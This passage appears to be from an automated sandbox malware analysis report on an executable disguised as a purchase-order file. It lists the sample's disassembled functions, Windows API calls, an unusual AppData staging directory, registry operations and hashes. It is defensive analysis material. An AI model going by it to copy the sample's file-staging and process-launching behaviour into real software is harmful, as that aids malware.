GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 004053EB: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040542E

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes, xrefs: 00401629

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes
API String ID: 1892508949-1484825760
Opcode ID: 396cb8d654c4bd1d9b031a888da28658032143c202452067c1c7f2463867fd2c
Instruction ID: 6ea9d176647784ede47dca84986b1d8040ea6f7a989068fde2debc666839409d
Opcode Fuzzy Hash: 396cb8d654c4bd1d9b031a888da28658032143c202452067c1c7f2463867fd2c
Instruction Fuzzy Hash: A2112B35404141ABDF217B650C405BF27F0EA92315738463FF591B22E2C63C0942A63F

Function 0040549D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0079FD48,Error launching installer), ref: 004054C6
CloseHandle.KERNEL32(?), ref: 004054D3

Strings

Error launching installer, xrefs: 004054B0

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 9f0b0f85f0295080a22e5d155a7c66e390f8f607a8e504552004f12f3aafe87f
Instruction ID: 542db3fa263e6c3fd8363e81c561fcb1d1edc85eb607383f0aa2fc0e1be44d1e
Opcode Fuzzy Hash: 9f0b0f85f0295080a22e5d155a7c66e390f8f607a8e504552004f12f3aafe87f
Instruction Fuzzy Hash: 95E0BFF4A002097FEB10AB64ED45F7B7BACEB00645F108561FD10F6190D674A9549A79

Function 00401E44 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404F25: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000,?), ref: 00404F5E
Part of subcall function 00404F25: lstrlenA.KERNEL32(00402FD7,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000), ref: 00404F6E
Part of subcall function 00404F25: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00402FD7,00402FD7,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,0078FCF8,755723A0), ref: 00404F81
Part of subcall function 00404F25: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll), ref: 00404F93
Part of subcall function 00404F25: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
Part of subcall function 00404F25: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
Part of subcall function 00404F25: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

Part of subcall function 0040549D: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0079FD48,Error launching installer), ref: 004054C6
Part of subcall function 0040549D: CloseHandle.KERNEL32(?), ref: 004054D3

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E7E
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E8E
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EB3

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 5300586a977f739bb3b95f406a8e475e6bf3f04e18eaf9760632a053cb3b61ce
Instruction ID: f3d89628ed1a2f536a51da31c0d1f3bff78da2cc26dd4d815c67a837da1bf94c
Opcode Fuzzy Hash: 5300586a977f739bb3b95f406a8e475e6bf3f04e18eaf9760632a053cb3b61ce
Instruction Fuzzy Hash: 53016D31904114EBDF11AFA1CD89A9E7B72EF00344F10817BF601B52E1C7789A819B9A

Function 00402482 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,000002DB,00000000,00000022,00000000,?,?,?,00402314,00000002), ref: 00402B6C

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024B0
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003,00020019), ref: 004024C3
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: cb8d7e7e292cd3f0bc6c1f59dcd71b3952a721e666c2518bc090900559d161d0
Instruction ID: 6b9a29d885729d806435ba0af982d5db400a82278970f5f8cd94cba27a839736
Opcode Fuzzy Hash: cb8d7e7e292cd3f0bc6c1f59dcd71b3952a721e666c2518bc090900559d161d0
Instruction Fuzzy Hash: EDF0AD72904200AFEB11AF659E88EBB7A6DEB80344B10443AF505A61C0D6B849449A7A

Function 00401DEA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes,?), ref: 00401E30

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes, xrefs: 00401E1B

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes
API String ID: 587946157-1484825760
Opcode ID: b0f1f290dab42d7627ac84af391824cda61e1d1b78d8d453e3c5aed2a9c0ee07
Instruction ID: 340d0feeeb8292155287dfb6c97f983a5cfd8bfca1fa3215745e1e0026b9813b
Opcode Fuzzy Hash: b0f1f290dab42d7627ac84af391824cda61e1d1b78d8d453e3c5aed2a9c0ee07
Instruction Fuzzy Hash: 6BF04632B041006FDB10ABB18D4AF5E27A8AB61319F20493BF141F70C2DAFC88419B18

Function 00402410 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,000002DB,00000000,00000022,00000000,?,?,?,00402314,00000002), ref: 00402B6C

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 00402440
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 5036ecff7da7e931cef0e4d9af925887b92852862d1d3796e4000a238184e6f1
Instruction ID: 3b61e3a0dd356b8eb8c6217664be55b6a4c5c12d426b24930886ed9b9a2887e1
Opcode Fuzzy Hash: 5036ecff7da7e931cef0e4d9af925887b92852862d1d3796e4000a238184e6f1
Instruction Fuzzy Hash: 5911A771905205EFDF14DF64CA889AEBBB4EF11348F20443FE141B62C0D2B84A45DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b63ad44f694a207690e677ec35bda8f999f5426b301403e6904e10af90410016
Instruction ID: 00097469377630013da62b9f7c31fbdee85021c234e60ac5accdaffcc3ed26dc
Opcode Fuzzy Hash: b63ad44f694a207690e677ec35bda8f999f5426b301403e6904e10af90410016
Instruction Fuzzy Hash: BE01F4316242209BF7194B389C04B6A3698E751354F10813BF811F62F1D678DC028B4D

Function 00402308 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,000002DB,00000000,00000022,00000000,?,?,?,00402314,00000002), ref: 00402B6C

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033,00000002), ref: 00402327
RegCloseKey.ADVAPI32(00000000), ref: 00402330

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 48c6a4f1ec7a86bc1051c3bdbeac554186010e92678d5b1d819c5a0f771793f2
Instruction ID: 97ae11083f28a0faafd94fb7fe42009bced1e39793468f635283aee611ee1e77
Opcode Fuzzy Hash: 48c6a4f1ec7a86bc1051c3bdbeac554186010e92678d5b1d819c5a0f771793f2
Instruction Fuzzy Hash: A2F04433A00110AFEB10BBA48A4EAAE7269AB50344F14443BF201B61C1DABD4D12966D

Function 0040155B Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00010432), ref: 00401579
ShowWindow.USER32(0001042C), ref: 0040158E

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 58339daa48f2abfaa16ef55595ad2450e584a2864855a69756b41114902e3615
Instruction ID: 8b304e13c4ff4e58b2746d459b27b343ece49c0a97bab20a5a043a2c5b6af2c1
Opcode Fuzzy Hash: 58339daa48f2abfaa16ef55595ad2450e584a2864855a69756b41114902e3615
Instruction Fuzzy Hash: DEF0E577A082905FEB15CB64EDC086D7BF2EB8631075445BBD101A3691C2785C08C728

Function 004060A5 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403156,00000009), ref: 004060B7
GetProcAddress.KERNEL32(00000000,?), ref: 004060D2

Part of subcall function 00406037: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040604E
Part of subcall function 00406037: wsprintfA.USER32 ref: 00406087
Part of subcall function 00406037: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 0040609B

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction ID: 3e97459997e7f7d7039c0cd31b40a13ca7cd82e20333033f2d5c91e802436a08
Opcode Fuzzy Hash: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction Fuzzy Hash: 9DE08632644121AAD32097749E0493B72ACAA84751302093EF506F2180D7389C21A669

Function 0040597F Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,80000000,00000003), ref: 00405983
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059A5

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction ID: 2848333a8a5b20597e43067d17cc290ce391feab13c7f73248cb22e1b8f9cacf
Opcode Fuzzy Hash: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction Fuzzy Hash: 5CD09E31658301AFEF098F20DD16F2EBAA2EB84B01F10962CBA82950E0D6755C159B26

Function 00405468 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004030DF,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032DC), ref: 0040546E
GetLastError.KERNEL32 ref: 0040547C

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
